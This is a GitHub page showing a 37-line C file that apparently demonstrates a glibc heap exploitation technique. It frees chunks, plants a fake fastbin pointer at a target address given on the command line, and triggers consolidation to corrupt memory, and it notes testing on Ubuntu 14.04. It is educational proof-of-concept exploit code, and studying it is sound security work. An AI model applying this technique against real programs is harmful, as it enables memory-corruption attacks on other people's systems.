-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathHoC_surviving.c
More file actions
37 lines (30 loc) · 789 Bytes
/
Copy pathHoC_surviving.c
File metadata and controls
37 lines (30 loc) · 789 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
/*
* Tested on Ubuntu 14.04.5 LTS, won't work on 16.04
*/
int main(int argc, const char* argv[]) {
void *addr;
if (argc != 2) {
printf("I need &check_action as arg\n");
return 666;
}
size_t check_a = strtoull(argv[1], 0, 16);
malloc(1);
size_t *chunk = (size_t *)malloc(0x10);
// create the large free chunk that will be used to serve requests
malloc(0x10);
void *large_free = malloc(32*1024);
malloc(0x10);
free(large_free);
free(chunk);
// emulate corruption, link fake chunk into fastbin
chunk[0] = check_a - 0x18;
malloc(1024); // trigger consolidation
return 0;
}